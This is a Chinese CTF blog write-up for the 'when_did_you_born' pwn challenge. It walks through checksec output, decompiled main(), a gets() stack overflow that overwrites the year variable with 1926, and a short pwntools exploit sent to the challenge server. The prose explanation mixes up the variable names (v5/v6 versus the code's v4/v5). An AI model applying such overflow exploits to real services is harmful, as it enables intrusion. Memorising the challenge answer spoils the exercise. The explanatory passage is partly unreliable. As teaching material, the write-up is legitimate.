一、题目来源

攻防世界–when_did_you_born

https://adworld.xctf.org.cn/

二、程序分析

  1. 用checksec检测,得到如下信息
    *64位文件
    *PIE关闭,全局变量随机地址关闭
  2. 用IDA 64位可以直接打开看到汇编代码,说明未做加壳。 然后F5一下看下main函数的伪代码如下:
    __int64 __fastcall main(__int64 a1, char **a2, char **a3)
    {
      __int64 result; // rax
      char v4; // [rsp+0h] [rbp-20h]
      unsigned int v5; // [rsp+8h] [rbp-18h]
      unsigned __int64 v6; // [rsp+18h] [rbp-8h]
    
      v6 = __readfsqword(0x28u);
      setbuf(stdin, 0LL);
      setbuf(stdout, 0LL);
      setbuf(stderr, 0LL);
      puts("What's Your Birth?");
      __isoc99_scanf("%d", &v5);
      while ( getchar() != 10 )
        ;
      if ( v5 == 1926 )
      {
        puts("You Cannot Born In 1926!");
        result = 0LL;
      }
      else
      {
        puts("What's Your Name?");
        gets(&v4);
        printf("You Are Born In %d\n", v5);
        if ( v5 == 1926 )
        {
          puts("You Shall Have Flag.");
          system("cat flag");
        }
        else
        {
          puts("You Are Naive.");
          puts("You Speed One Second Here.");
        }
        result = 0LL;
      }
      return result;
    }
    

  3. 代码分析
    对生日日期进行了两次相同的判断,第一次输入不能为1926,第二次相求必须为1926,因此两者存在了矛盾,所以这个时候可以想到溢出覆盖。 观察代码发现get(&v5)这个地方可以作为溢出点(get函数没有做任何限制),所以只需要输入v5的时候覆盖原来v6的值,替换为1926即可达到目的。
  4. 查看字节相差多少 如下图,相差8个字节

三、编写exp

from pwn import *

p = remote('111.198.29.45',32447)
payload = 'A'*8 + p64(0x786) #0x786即为1926
p.sendline('11111')  
p.sendline(payload)
p.interactive() #交互模式

 

分类: CTFPwn

发表评论

电子邮件地址不会被公开。


CAPTCHA Image
Reload Image
皖ICP备18016857号-1